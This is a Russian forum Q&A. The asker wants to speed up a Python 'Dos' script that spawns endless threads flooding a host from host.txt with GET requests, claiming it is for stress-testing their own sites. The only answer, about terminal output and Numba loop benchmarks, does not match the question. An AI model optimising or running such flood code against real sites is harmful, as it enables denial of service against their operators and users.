Как можно ускорить цикл в python?

У меня есть участок код, который надо ускорить до предела! Мне нужно заменить питоновкий цикл на более быстрый бесконечный цикл! Может есть библиотеки или методы включающие в себя другие способы бесконечного цикла?

from requests import get
from threading import Thread
def Dos(): 
    while True:
        with open("host.txt", 'r') as file:
            Host = file.read()
        res = get(Host)
while True:
    Thread(target=Dos).start()

Это программа для проверки на стойкость моих сайтов.


Ответы (1 шт):

Автор решения: CrazyElf

Вывод в терминал - операция очень медленная, её можно ускорить только выкинув её вообще из кода.
А что касается "быстрого счёта до очень большой цифры", то тут хорошо помогает Numba.

Посмотрим, сколько считается до 100 миллионов без ухищрений:

def test():
    for i in range(100_000_000):
        pass

%time test()
# Wall time: 2.77 s

А теперь тоже самое с Numba:

from numba import njit

@njit()
def test():
    for i in range(100_000_000):
        pass

%time test()
# Wall time: 129 ms

Примерно в 20 раз быстрее.

А теперь напишем нереально большое число повторений цикла:

from numba import njit

@njit()
def test():
    for i in range(1_000_000_000_000_000_000):
        pass

%time test()
# Wall time: 73.5 ms

Хм, ещё меньше времени понадобилось, хотя это в общем-то погрешности измерения.

Так что ускорить пустой цикл - не проблема. Вопрос в том, что именно вы хотите делать в этом цикле. Зачем выводить быстро надписи на терминал - непонятно. Кто их там будет читать с такой скоростью и в таком количестве? А если там простая арифметика какая-то, то с ней прекрасно справляется Numba.

P.S. Если поставить внутри цикла банальный счётчик n += 1, то чисто питоновский цикл замедлится в 3 раза, а цикл на Numba будет работать с такой же скоростью как и раньше и только на сверхбольших числах замедлится раза в 2.

→ Ссылка